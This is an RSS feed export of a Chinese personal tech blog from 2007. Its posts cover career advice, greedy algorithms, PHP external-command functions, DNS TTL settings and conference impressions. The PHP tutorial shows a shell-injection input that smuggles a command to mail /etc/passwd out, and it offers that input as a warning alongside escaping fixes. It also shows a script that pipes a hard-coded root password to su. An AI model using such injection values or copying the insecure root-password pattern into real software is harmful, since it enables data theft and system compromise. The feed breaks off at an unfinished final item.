<?xml version="1.0" encoding="GBK" ?>
<rss version="2.0" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:dcterms="http://purl.org/dc/terms/">
 <channel>
  	  <title><![CDATA[worldbol的博客]]></title>
	  <link>http://worldbol.blog.163.com</link>
	  <description><![CDATA[ ]]></description>
	  <language>zh-CN</language>
	  <pubDate>Sun, 6 Jul 2008 11:59:55 +0800</pubDate>
	  <lastBuildDate>Sun, 6 Jul 2008 11:59:55 +0800</lastBuildDate>
	  <docs>http://blogs.law.harvard.edu/tech/rss</docs>
	  <generator><![CDATA[NetEase Space]]></generator>
	  <managingEditor><![CDATA[worldbol]]></managingEditor>
	  <webMaster><![CDATA[worldbol]]></webMaster>
		  <ttl>120</ttl>
	  <image>
	  	<title><![CDATA[worldbol的博客]]></title>
	  	<url>http://worldbol.blog.163.com/style/common/user_default.gif</url>
	  	<link>http://worldbol.blog.163.com</link>
	  </image>
  <item>
  	<title><![CDATA[专家看台：纯做技术是自娱自乐 抛开技术做技术才是出路(转载)]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071117102352699</link>
    <description><![CDATA[<div><font face="Arial"><strong>  </strong>短短一生不过数十载，对于很多人而言，作IT、作<nobr><strong style="border: 0px none ; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >技术</strong></nobr>只是生命中的某一段，并非所有。而无论是换<nobr><strong style="border: 0px none ; margin: 0px; padding: 0px; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >工作</strong></nobr>还是换行业，只是一种形式而已，最终我们追求的是<nobr><strong style="border: 0px none ; margin: 0px; padding: 0px; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >成功</strong></nobr>、是荣誉、是收获。于是在年轻的这几年里，作为技术人员理应认真思考自己将来的出路并为之而脚踏实地的去积累。</font><p><font face="Arial">&ldquo;01年大学毕业，去了老师开的一家网络教学<nobr><strong style="border: 0px none ; margin: 0px; padding: 0px; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >软件公司</strong></nobr>，作教育<nobr><strong style="border: 0px none ; margin: 0px; padding: 0px; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >软件</strong></nobr>；04年，首次创业，作了个休闲游戏<nobr><strong style="border: 0px none ; margin: 0px; padding: 0px; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >公司</strong></nobr>，经验以及资金问题，创业失败；05年，一个偶然的机会，进了网易，作服务器端开发，有幸结识了一帮志同道合且极有职业精神的同事。&rdquo;这是大宝的职业经历。择过业也创过业的他分享了自己对于技术人员出路的一些感悟。</font></p><p><font size="3" face="Arial"><strong>抛开技术做技术才更容易成功</strong></font></p><p><font face="Arial">&ldquo;在中国的这块土地上，抛开技术作技术，才可能更容易成功&rdquo;大宝说。听起来颇有些拗口和矛盾的一句话，大宝对此做了解释。</font></p><p><font face="Arial">遍观当今成功的这些互联网公司和<nobr><strong style="border: 0px none ; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >产品</strong></nobr>，比如淘宝(电子商务)，征途(网游),百度(搜索引擎)，他们之所以能够取得成功，其共同之处，都在于：紧紧抓住了中国本土市场的需求以及众多的&ldquo;小白化&rdquo;设计。尤其值得关注的是：&ldquo;小白化&rdquo;设计。说得通俗一点，&ldquo;小白化设计&rdquo;指的是：易上手，易操作，便利性。</font></p><p><font face="Arial">淘宝与征途，另一个共同之处在于：马云根本不算是一个精通网络的&ldquo;业内人&rdquo;，虽然淘宝已经是C2C的老大， 但马云本人还是只会上上网，收收邮件；史玉柱从未被网游业内人认为是&ldquo;专业的网游开发者甚至专业的网游玩家&rdquo;，但征途游戏的便利性，国内游戏在它之前没有 一个做得到（当然，更多的人是不敢像他那样去想）。马云和史玉柱的共同之处都是：外行领导内行。</font></p><p><font face="Arial">&ldquo;抛开技术作技术，才可能更容易成功&rdquo;意思是在于提醒我们：要以外行的思维来开发内行的软件，一定要注意发 掘小白用户的需求，要时时刻刻把自己当作从未使用过这个软件的用户，多想一想这样的用户第一次使用你的软件时，他会觉得如何操作才会更方便，以及，我作为 一个从未用过你软件的人有什么理由选择你的软件。我们所作的软件，绝不仅仅是只要有了功能即可，你还得有&ldquo;把你的软件功能营销出去&rdquo;的概念，如果只是有了 功能，但功能很难用，用户连尝试的勇气都没有，那你作了也是白作。</font></p><p><font face="Arial">而且很多的时候，对于技术人而言的一个所谓的颇具创新性、创造力乃至震撼力的技术实施方案，对于普通用户而 言可能觉得根本是无所谓的，在这样的情况下，如果时间比较紧，应该果断放弃你觉得颇具创造力的方案转而将产品功能尽最快速度实现。特别是在互联网产品开发 领域，产品的推出速度是产品致胜非常重要的一环，有的时候，为了尽快推出产品，我们就不能在这些细枝末节的地方，对用户体验没有太大障碍的地方浪费太多精 力，而要集中精力把主体功能完成向用户推出来，然后在后续的时间里再精益求精地不断改善。</font></p><p><font face="Arial">大宝说，&ldquo;很多人不会像征途那样去做，是因为他们不敢像史玉柱那样去想。而问题关键的关键，就在于&lsquo;敢想&rsquo;二字。如果你连敢想的勇气或者空间都没有，那将是最大的失败，也是最无法挽回的失败。只有把自己首先定位成自己产品的小白用户，你才会&lsquo;敢想&rsquo;，也才&lsquo;能想&rsquo;出来。&rdquo;</font></p><p><font size="3" face="Arial"><strong>纯做技术是自娱自乐的生活态度</strong></font></p><p><font face="Arial">大宝认为&ldquo;作纯技术的人，抱着的是一种自娱自乐的生活态度，他们生活在自己想象的&lsquo;纯洁空间&rsquo;里，拒绝与人打交道。&rdquo;虽然不能说这是一种不好的方式，但是显然对于大多数人的发展而言，这样的个人发展途径他不认同，他更提倡的是一种积极、张扬而又务实的生活和工作态度。</font></p><p><font face="Arial">这是因为往往在某一方面作得太深入的人，在另一方面就会少有时间和精力投入。比如,比较喜欢作纯技术的人，他们一头扎进技术里，却往往忽略了真实的市场用户需求和感受，从而让自己作出来的东西，欣赏的人只有自己，对于以赢利为目的的公司而言，这不能不说是另一种失败。</font></p><p><font face="Arial">大宝更提倡的是&ldquo;作产品&rdquo;的概念，而不只是&ldquo;作技术&rdquo;。&ldquo;我们作的东西最终是要销售出去，要给公司赢利，要 给团队带来收益。&ldquo;作产品&rdquo;的概念，更强调把眼光放在全局，关注这个产品从策划，设计，研发，测试，交付，乃至到版本更新这样一系列的过程，关注用户最终 使用感受和效果，关注用户是否愿意为此付费。&rdquo;</font></p><p><font face="Arial">团队或公司给成员的回报，永远是看成员给团队或公司创造了多少价值。他认为有&ldquo;作产品&rdquo;概念的人，工作会更 有针对性和主动性，甚至有前瞻性，只要坚持这样的想法和工作方式，就必然会给公司创造更多的价值。所以，单纯的以技术与非技术来说谁能混到更好的职位，有 点太笼统了，这个还要看各人贡献。</font></p><p><font size="3" face="Arial"><strong>技术员&mdash;&mdash;&gt;高级技术员&mdash;&mdash;&gt;管理</strong></font></p><p><font face="Arial">不少技术人员将&ldquo;技术员&mdash;&mdash;&gt;高级技术员&mdash;&mdash;&gt;管理&rdquo;定位成自己成长的路径。对此大宝不置可否，&ldquo;只是管理职位只有那么有限的几个，不可能人人都能坐，这怎么办？&rdquo;他反问。</font></p><p><font face="Arial">大宝认为作为一个技术人员，如果只看到只有这一条成长途径，那表明他经历的还太少、眼界还太窄。&ldquo;原来，我 也一直很困惑：到了三十岁，四十岁，我还会继续写程序吗？如果不写程序的话，我到时又能干些什么？现在，通过近几年自己的经历和体会，我慢慢明白了，其 实，一个技术人员他将来如何发展，或怎样发展，取决于我们自己是不是愿意打开眼界去看看外面的世界，去思考思考技术之外的世界，去关注关注与人打交道时的 乐趣。&rdquo;</font></p><p><font face="Arial">而之所以有之前的那种恐慌，是因为我们一直以来都以培养和锻炼自己的专业技术能力为唯一的能力追求(比如c ++,比如算法等)，从不曾考虑过锻炼一些可以跨行业，跨年龄段，跨公司的能力，这些能力包括：正确作事的心态和正确作事的方法（坚定的信念和具体细节的 操作），团队的概念以及团队协作的方法(学会与人打交道)，全身心投入作成功一款产品而不只关注把代码写出来（有大局观）。代码写出来，并不表示产品就可 以挣钱，就可以取得成功，对用户真实需求的深度挖掘，诸多的用户体验细节，便利性以及效率，乃至与竞争对手的相对优势都是决定产品成败的相关因素。</font></p><p><font face="Arial">当具备了把产品作成功的大局观之后，如果愿意慢慢尝试去锻炼自己上述的能力，就会再细细研究下去，看在目前 的环境下如何对产品的成功实施更加积极的影响。&ldquo;而当你有了这些能力后，你会发现自己的发展空间被空前拓展了，那时，你就尽可能选择一个自己感兴趣的方向 作下去，而这个方向，很有可能已不再是技术。此时的你，已经有能力自己去拓展新的空间，所以，你的空间也不再仅仅局限在技术，局限在这一家公司身上。&rdquo;</font></p><p><font size="3" face="Arial"><strong>&ldquo;作事业&rdquo;的心态至关重要</strong></font></p><p><font face="Arial">&ldquo;我自己的开发实践还在继续，还在继续写着代码，只是现在已经很少跟人就某个技术细节再进行多么深入多么深 刻的讨论了(只跟我的同事讨论，网上讨论的很少)，而是把精力更多的放在了关注产品整体质量，促进产品整体质量方面。&rdquo;这个&ldquo;质量&rdquo;不仅仅包括技术，还包 括策划和设计环节，包括服务环节，甚至包括运营、维护环节。 </font></p><p><font face="Arial">所以大宝觉得&ldquo;作事业&rdquo;的心态，对于一个人的成长与成功非常重要。我们现在很多人，抱怨上天不给自己机会， 待遇不好，环境不好，的确，很多的时候，我们确实是面临着这样的困难境地。但是，即使在不太好的环境里，我们也有选择的权利，我们有选择积极面对还是临阵 退缩的权利，有选择激情奋斗还是得过且过的权利。积极的工作和生活态度，会让我们终生受用。当你以&ldquo;作事业&rdquo;的心态去面对自己的工作时，你会发现更宽广的 空间和舞台，你自己的成长也会更快。</font></p><p><font face="Arial">有很多人可能会说，&ldquo;作事业&rdquo;的心态说起来容易，我是把它当事业来作了，但我没取得应得的回报呀。我不反对 确实存在这样的情况，这个世界永远充满着黑暗面，如果你总是以这样的心态去拒绝付出，那我只能说，你从团队得到的回报就会比你付出的更少。有这样抱怨的朋 友，我建议你可以对比一下：自己当前的能力是不是与你的回报成正比的，不仅与公司内的比，也与公司外的比一比，与整个行业比一比。你要是实在觉得委屈，你 大可以换一个公司，但是，有句话，我还是想提醒：换工作，不能仅仅为了看得到的那点工资，换工作的成本同时还包括了你要重建你的同事关系，上下级关系甚至 行业资源，而这些，是决定你是不是能把一件事作成作大的重要因素，人的眼光，有的时候要放远一点，如果老板是值得跟随的老板，从未亏待过你，如果公司在可 预期的未来不会马上倒闭进而导致你没有饭吃，何不再坚持一下呢？【呐不喊】</font></p><p><font face="Arial"> </font></p><p><font face="Arial"><strong><font size="3">大宝，</font></strong>网名sodme，目前在网易从事网游服务器开发工作。早年，曾在CSDN发过多篇技术相关文章(<a href="http://blog.csdn.net/sodme">http://blog.csdn.net/sodme</a>)，后因兴趣转向产品，将博文发表转至网易博客：<a href="http://sodme.dev.blog.163.com/">http://sodme.dev.blog.163.com</a>，我一直在坚持着将这些感悟整理成文，以让自己有点积累，也想让深陷技术深渊的同道能有所顿悟。</font></p><p><font face="Arial">信奉的开发哲学是：&ldquo;越简单越好&rdquo;；信奉的产品哲学是：&ldquo;用户受用，我才得益&rdquo;。坚持以务实的态度和实用的方法进行<nobr><strong style="border: 0px none ; margin: 0px; padding: 0px; color: rgb(0, 0, 255); font-weight: normal; text-decoration: underline;" >产品研发</strong></nobr>，现正尝试以营销的观点融合产品研发过程，尝试以市场观点切入产品研发实践的具体实施。</font></p></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071117102352699</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071117102352699</guid>
    <pubDate>Mon, 17 Dec 2007 10:23:52 +0800</pubDate>
    <dcterms:modified>2007-12-17T10:23:52+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[贪婪算法正在影响你！]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071112102452699</link>
    <description><![CDATA[<div><span >&nbsp;&nbsp;       贪婪算法也叫做<a target="_blank" href="http://www.hoodong.com/wiki/%E8%B4%AA%E5%BF%83%E7%AE%97%E6%B3%95">贪心算法</a>。<br><br></span>&nbsp;&nbsp;       贪心法的基本思路：<br>&mdash;&mdash;从问题的某一个初始解出发逐步逼近给定的目标，以尽可能快的地求得更好的解。当达到某算法中的某一步不能再继续前进时，算法停止。<br><br>&nbsp;&nbsp;&nbsp;       好多人喜欢打扑克，就以<a target="_blank" href="http://www.hoodong.com/wiki/%E5%8F%8C%E6%89%A3">双扣</a>为例，当你是得分一方的时候 。在还没有40分的时候，只要有分，就要想尽一切办法得到。就算大王也毫不吝惜。只要过了40分第一阶段就算胜利了，然后就得奔着另一个目标--80分。以此类推，每次都追求离胜利最近的目标。整个过程采用的是&ldquo;<span >贪婪算法</span>&rdquo;。<br><br>&nbsp;&nbsp;&nbsp;       但是这样打牌不一定就完全正确。有时候忍一下，假如大王不出，也许能一下子就得到30分。这个可能性是有的，而且有相当一部分人会有这个心理，这个应该算是&ldquo;侥幸心理&rdquo;。<br><br>&nbsp;&nbsp;&nbsp;   在实际操练中，我发现&ldquo;<span >贪婪算法</span>&rdquo;比&ldquo;侥幸心理&rdquo;要好很多。<br><br>&nbsp;&nbsp;&nbsp;   <font color="#ff0000">到底是为何产生这个结果呢？</font><br><br>&nbsp;&nbsp;&nbsp;   贪心算法总是作出在当前看来最好的选择。也就是说它并不从整体最优考虑，它所作出的选择只是在某种意义上的局部最优选择。当然，希望得到的最终结果也是整 体最优的。虽然它不能对所有问题都得到整体最优结果，但对许多问题它能产生整体最优解。在一些情况下，即使它不能得到 整体最优解，其最终结果却是最优解的很好近似。<br><br>就是这个&ldquo;<font color="#ff0000">即使不能得到整体最优解，但最终结果却是最优解的很好近似</font>&rdquo;使得大家都很认同这个算法。也正是由于这个原因，才使得我们的日常生活中常常见到这个算法的应用。<br><br>&nbsp;&nbsp;   例如，<font color="#0000ff">找女朋友，你怎么知道当前的就是最好的？</font>只能在当前的环境下，找一个最适合自己的。用贪婪算法解释就是就算不是最优的，她和最优解也很近似。再如企业招聘，<font color="#0000ff">你怎么知道招聘的人是最合适的？</font>只能用贪婪算法找一个最优的近似了。<br><br>&nbsp;&nbsp;&nbsp;   现实的世界不像计算机的世界，计算机可以把所有的解都分析一遍，然后找出最优解（当然NP之类的问题除外）。现实的世界做不到，所以只有依靠局部最优解了。<br><br>&nbsp;&nbsp;&nbsp;   企业老大做决策也离不开这个思想。很多种操作方法，你都没有试过，就不可能知道那种能到到你的最优解，只能选择一个离你期望最近的操作方法，目前感觉最好的操作方法。<font color="#0000ff">至少能保证有个局部最优解</font>。<br><br>&nbsp;&nbsp;&nbsp;   看看你平时是否不知不觉的已经用了很多次的&ldquo;贪婪算法&rdquo; 呢？</div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/5779016920071112102452699</comments>
    <slash:comments>5</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/5779016920071112102452699</guid>
    <pubDate>Wed, 12 Dec 2007 10:24:52 +0800</pubDate>
    <dcterms:modified>2007-12-12T10:24:52+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[PHP 执行系统外部命令 system() exec() passthru()]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/57790169200711441352699</link>
    <description><![CDATA[<div><div ><div  twffan="done"><font color="#ff0000"><br>区别:<br>system() 输出并返回最后一行shell结果。<br>exec()  不输出结果，返回最后一行shell结果，所有结果可以保存到一个返回的数组里面。<br>passthru()  只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。<br><br>相同点：都可以获得命令执行的状态码</font><br><br>demo:<br>//system('dir');<br>// exec ('dir');<br>// passthru  ('dir');<br><font color="#0000ff">// echo `dir`;</font><br><br>PHP作为一种服务器端的脚本语言，象编写简单，或者是复杂的动态网页这样的任务，它完全能够胜任。但事情不总是如此，有时为了实现某个功能，必须借助于操作系统的外部程序（或者称之为命令），这样可以做到事半功倍。 <br><p>那么，是否可以在PHP脚本中调用外部命令呢？如果能，如何去做呢？有些什么方面的顾虑呢？相信你看了本文后，肯定能够回答这些问题了。</p><p>是否可以？</p><p>答案是肯定的。PHP和其它的程序设计语言一样，完全可以在程序内调用外部命令，并且是很简单的：只要用一个或几个函数即可。</p><p>前提条件</p><p>由于PHP基本是用于WEB程序开发的，所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门：安全模式。如果运行在安全模式下，那么PHP脚本中将受到如下四个方面的限制：</p><p>执行外部命令</p><p>在打开文件时有些限制</p><p>连接MySQL数据库</p><p>基于HTTP的认证</p><p>在 安全模式下，只有在特定目录中的外部程序才可以被执行，对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令，或在编译PHP是加上--with-exec-dir选项来指定，默认是 /usr/local/php/bin。</p><p>如果你调用一个应该可以输出结果的外部命令（意思是PHP脚本没有错误），得到的却是一片空白，那么很可能你的网管已经把PHP运行在安全模式下了。</p><p>如何做？</p><p>在PHP中调用外部命令，可以用如下三种方法来实现：</p><p>1） 用PHP提供的专门函数</p><p>PHP提供共了3个专门的执行外部命令的函数：system()，exec()，passthru()。</p><p>system()</p><p>原型：string system (string command [, int return_var])</p><p>system()函数很其它语言中的差不多，它执行给定的命令，输出和返回结果。第二个参数是可选的，用来得到命令执行后的状态码。</p><p>例子：</p><p> </p><p>system(&quot;/usr/local/bin/webalizer/webalizer&quot;);</p><p>?&gt;</p><p>exec()</p><p>原型：string exec (string command [, string array [, int return_var]])</p><p>exec ()函数与system()类似，也执行给定的命令，但不输出结果，而是返回结果的最后一行。虽然它只返回命令结果的最后一行，但用第二个参数array 可以得到完整的结果，方法是把结果逐行追加到array的结尾处。所以如果array不是空的，在调用之前最好用unset()最它清掉。只有指定了第二 个参数时，才可以用第三个参数，用来取得命令执行的状态码。</p><p>例子：</p><p>exec(&quot;/bin/ls -l&quot;);</p><p>exec(&quot;/bin/ls -l&quot;, $res);</p><p>exec(&quot;/bin/ls -l&quot;, $res, $rc);</p><p>?&gt;</p><p>passthru()</p><p>原型：void passthru (string command [, int return_var])</p><p>passthru ()只调用命令，不返回任何结果，但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus （Unix下的一个处理图片的工具，输出二进制的原始图片的流）这样的程序。同样它也可以得到命令执行的状态码。</p><p>例子：</p><p>header(&quot;Content-type: image/gif&quot;);</p><p>passthru(&quot;./ppmtogif hunte.ppm&quot;);</p><p>?&gt;</p><p>2） 用popen()函数打开进程</p><p>上面的方法只能简单地执行命令，却不能与命令交互。但有些时候必须向命令输入一些东西，如在增加Linux的系统用户时，要调用su来把当前用户换到root才行，而su命令必须要在命令行上输入root的密码。这种情况下，用上面提到的方法显然是不行的。</p><p>popen ()函数打开一个进程管道来执行给定的命令，返回一个文件句柄。既然返回的是一个文件句柄，那么就可以对它读和写了。在PHP3中，对这种句柄只能做单一 的操作模式，要么写，要么读；从PHP4开始，可以同时读和写了。除非这个句柄是以一种模式（读或写）打开的，否则必须调用pclose()函数来关闭 它。</p><p>例子1：</p><p> </p><p>$fp=popen(&quot;/bin/ls -l&quot;, &quot;r&quot;);</p><p>?&gt;</p><p>例子2（本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&amp;i=51）：</p><p> </p><p>/* PHP中如何增加一个系统用户</p><p>下面是一段例程，增加一个名字为james的用户,</p><p>root密码是 verygood。仅供参考</p><p>*/</p><p>$sucommand = &quot;su --login root --command&quot;;</p><p>$useradd = &quot;useradd &quot;;</p><p>$rootpasswd = &quot;verygood&quot;;</p><p>$user = &quot;james&quot;;</p><p>$user_add = sprintf(&quot;%s &quot;%s %s&quot;&quot;,$sucommand,$useradd,$user);</p><p>$fp = @popen($user_add,&quot;w&quot;);</p><p>@fputs($fp,$rootpasswd);</p><p>@pclose($fp);</p><p>?&gt;</p><p>3） 用反撇号（`，也就是键盘上ESC键下面的那个，和~在同一个上面）</p><p>这个方法以前没有归入PHP的文档，是作为一个秘技存在的。方法很简单，用两个反撇号把要执行的命令括起来作为一个表达式，这个表达式的值就是命令执行的结果。如：</p><p>$res='/bin/ls -l';</p><p>echo ' <br>'.$res.' <br>';</p><p>?&gt;</p><p>这个脚本的输出就象：</p><p>hunte.gif</p><p>hunte.ppm</p><p>jpg.htm</p><p>jpg.jpg</p><p>passthru.php</p><p>要考虑些什么？</p><p>要考虑两个问题：安全性和超时。</p><p>先 看安全性。比如，你有一家小型的网上商店，所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件，让你的用户输入他们的EMAIL地 址，然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数（或者从未听说过），你就调用Linux/Unix系统的mail程序来发送这 个文件。程序就象这样：</p><p> </p><p>system(&quot;mail $to &lt; products.txt&quot;);</p><p>echo &quot;我们的产品目录已经发送到你的信箱：$to&quot;;</p><p>?&gt;</p><p>用这段代码，一般的用户不会产生什么危险，但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址：</p><p>'--bla ; mail someone@domain.com &lt; /etc/passwd ;'</p><p>那么这条命令最终变成：</p><p>'mail --bla ; mail someone@domain.com &lt; /etc/passwd ; &lt; products.txt'</p><p>我相信，无论哪个网络管理人员见到这样的命令，都会吓出一身冷汗来。</p><p>幸 好，PHP为我们提供了两个函数：EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串 中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的，象分号（），重定向（&gt;）和从文件读入 （&lt;）等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号，并把字符串中的单引号转义，这样这个字符串 就可以安全地作为命令的参数。</p><p>再来看看超时问题。如果要执行的命令要花费很长的时间，那么应该把这个命令放到系统的后台去运 行。但在默认情况下，象system()等函数要等到这个命令运行完才返回（实际上是要等命令的输出结果），这肯定会引起PHP脚本的超时。解决的办法是 把命令的输出重定向到另外一个文件或流中，如：</p><p>system(&quot;/usr/local/bin/order_proc &gt; /tmp/null &amp;&quot;);</p><p>?&gt;</p></div></div></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/57790169200711441352699</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/57790169200711441352699</guid>
    <pubDate>Tue, 4 Dec 2007 16:13:52 +0800</pubDate>
    <dcterms:modified>2007-12-04T16:13:52+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[合理设置域名TTL值给网站加速]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/57790169200711212452699</link>
    <description><![CDATA[<div><div ><p>最近一段时间看到几篇关于网站加速的文章，通篇都在讲页面优化、服务器优化、网络优化这些东西(当然我不否认这些很重要)，但几乎所有文章都忽略了决定网站访问速度的一个重要因素：<strong>DNS速度</strong>，糟糕的DNS解析速度可能让你的网站在别人的网站完全打开的时候还没完成域名解析。即时偶尔有人提到这个问题，也只是轻描淡写的一句：给域名使用高速优质的NS服务器。</p><p>问题是，<strong>没有真正意义上的高速NS和DNS服务器</strong>。就像<a target="_blank" href="http://www.lifetyper.com/archives/000059.html">这里提到</a>的，在国内速度表现尚可的万网，在国外的评测网站中得分很低，而在国外评测拿到最高分的Godaddy，在国内使用时速度比万网快不了多少。如果你有钱像Google、微软那样在全世界部署<strong>大量的CDN加速服务器和NS服务器</strong>，那当然没问题，问题是这对绝大部分网站来说都不可能，国内国外<strong>不是不可兼得，而是很难</strong>。</p><p>也许有人以为可以通过给域名指定<strong>两个NS记录（一个国内一个国外）</strong>来提高解析速度，但这也是不可能的，只有在DNS服务器从第一个NS服务器那里获取记录失败时才会向第二个NS服务器发送解析请求。我所知道的一个最廉价和有效的提速方法，就是<strong>修改域名记录的TTL值</strong>。</p><p><strong>什么是域名的TTL值？</strong></p><p>TTL (Time-To-Live)，就是一条域名解析记录在DNS服务器中的存留时间。当各地的DNS服务器接受到解析请求时，就会向域名指定的NS服务器发 出解析请求从而获得解析记录；在获得这个记录之后，记录会在DNS服务器中保存一段时间，这段时间内如果再接到这个域名的解析请求，DNS服务器将不再向 NS服务器发出请求，而是直接返回刚才获得的记录；而这个记录在DNS服务器上保留的时间，就是TTL值。</p><p><strong>TTL值设置的应用：</strong></p><p><strong>一</strong>.<strong>增大TTL值，以节约域名解析时间，给网站访问加速</strong>。</p><p>一般情况下，域名的各种<strong>记录是极少更改的</strong>，很可能几个月、几年内都不会有什么变化。我们完全可以增大域名记录的TTL值让记录在各地DNS服务器中缓存的时间加长，这样在更长的一段时间内，我们访问这个网站时，本地ISP的DNS服务器就不需要向域名的NS服务器发出解析请求，而直接从缓存中返回域名解析记录。</p><p><a href="http://www.lifetyper.com/upload/blogpic/be8626540a0c_121FC/dns_ttl_setting.jpg"><img width="240" height="141" border="0" align="right" src="http://www.lifetyper.com/upload/blogpic/be8626540a0c_121FC/dns_ttl_setting_thumb.jpg" alt="dns_ttl_setting" style="border: 0pt none ;"></a> 国内和国际上很多平台的TTL值都是以秒为单位的，很多的默认值都是3600，也就是默认缓存1小时，这个值实在有点小了，难道会有人一个小时就改一次域 名记录吗？你可以根据自己的需要把这个值适当的扩大，例如要缓存一天就设置成86400。Godaddy的TTL设置比较直观，但总共只有5个值可以选 定，即时切换到高级设置模式也是如此，有点死板了。</p><p>环境所迫，LifeTyper.com的TTL值是设置成了最大值1周，设置成更大的值可能会有写不必要的麻烦，例如当你要更换空间时，这些旧的记录要很久才过期并被更新。</p><p><strong>二</strong>.<strong>减小TTL值，减少更换空间时的不可访问时间</strong>。</p><p>更换空间99.9%会有DNS记录更改的问题，因为缓存的问题，新的域名记录在有的地方可能生效了，但在有的地方可能等上一两天甚至更久才生效。结果就是有的人可能访问到了新服务器，有的人访问到了旧服务器。仅仅是访问的话，这也不是什么大问题，但如果涉及到了<strong>邮件</strong>发送，这个就有点麻烦了，说不定哪封重要信件就被发送到了那已经停掉的旧服务器上。</p><p>为了尽可能的减小这个各地的解析时间差，合理的做法是：</p><p>1.先查看域名当前的TTL值，我们假定是1天。</p><p>2.修改TTL值为可设定的最小值，可能的话，建议为1分钟，就是60。</p><p>3.等待一天，保证各地的DNS服务器缓存都过期并更新了记录。</p><p>4.设置修改新记录，这个时候各地的DNS就能以最快的速度更新到新的记录。</p><p>5.确认各地的DNS已经更新完成后，把TTL值设置成你想要的值，TTL=60还是太小了点。</p><p>记住，这一切都能起作用的前提，是那些<strong>DNS服务器完全遵守这些标准和规范</strong>，否则NS服务器上怎么设置TTL都是白搭，但目前来看还没发现这么不讲规矩的DNS服务器。</p></div></div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/57790169200711212452699</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/57790169200711212452699</guid>
    <pubDate>Sun, 2 Dec 2007 13:24:52 +0800</pubDate>
    <dcterms:modified>2007-12-02T13:24:52+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[cd2c软件开发2.0大会 感悟]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/57790169200711142552699</link>
    <description><![CDATA[<div>&nbsp;&nbsp;&nbsp;   感受之一、不愧是软件大会，软件高手大集合的会议。所以与程序员相关的商业活动都可以加经来：开发工具介绍、IT人士服装专卖、计算机图书、公司招人 ......<br>&nbsp;&nbsp;&nbsp;   感受之二、无论多么的高层，无论是什么职业，<font color="#ff0000">都会手写代码</font>。 林斌<code>（</code>Google<code>工程研究院副院长）当场给我们写</code>Android的代码，我很是吃惊，副院长都会写代码；另一个Borland的范路是市场推广专员，但是也能手写代码，当场给我们写demo。我想有实力就是有实力，国内的很多公司，非技术人员别说写代码，就是使用某个软件都搞不清楚！<br>&nbsp;&nbsp;&nbsp;   感受之三、普通软件的开发或者大规模互动产品的开发都已经上升到哲学的高度了，万事讲究平衡！<br>大规模互动的产品就是要在计算机各个资源方面之间追求一个平衡，数据库压力大了就要想办法把压力分到其它地方，比方说应用服务器。一台服务器太累了就要多搞几台服务器，不能让某一个资源负担太多的任务。<br><font color="#ff0000">合理利用各种资源，合理分布压力</font>。<br>&nbsp;&nbsp;&nbsp;   其实一个公司何尝不是这样的？<font color="#ff0000">公司就是要把各种人力资源分配恰当</font>，不能让员工太累也不能让员工太闲！而且员工的付出和收获也得平衡。付出太多，收入太少，这样不平衡的状态不可能维持太久！反之，收入太高，付出太少，也同样不能持久。<br>&nbsp;&nbsp;&nbsp;   再扩散思维想一想，<font color="#ff0000">化学反应也是要追求平衡</font>、<font color="#ff0000">物理上电子就是要从多的地方往少的地方流动</font>、<font color="#ff0000">计算机程序就是要在空间和时间上取得平衡</font>、<font color="#ff0000">一个国家的发展就是要在各个阶层之间取得平衡</font>、整个世界也是由于有了原子弹而互相制约，处于平衡中，所以才没有发生第三次世界大战......<br>&nbsp;&nbsp;&nbsp;   中国的《易经》真的是一个本质的东西，万物的发展方向就是从不平衡走向平横！这个过程一直没有停止！</div>]]></description>
	    <author><![CDATA[worldbol]]></author>
	    <comments>http://worldbol.blog.163.com/blog/static/57790169200711142552699</comments>
    <slash:comments>3</slash:comments>
    <guid isPermaLink="true">http://worldbol.blog.163.com/blog/static/57790169200711142552699</guid>
    <pubDate>Sat, 1 Dec 2007 16:25:52 +0800</pubDate>
    <dcterms:modified>2007-12-01T16:25:52+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[cd2c软件开发2.0大会记录]]></title>	
    <link>http://worldbol.blog.163.com/blog/static/5779016920071113543976</link>
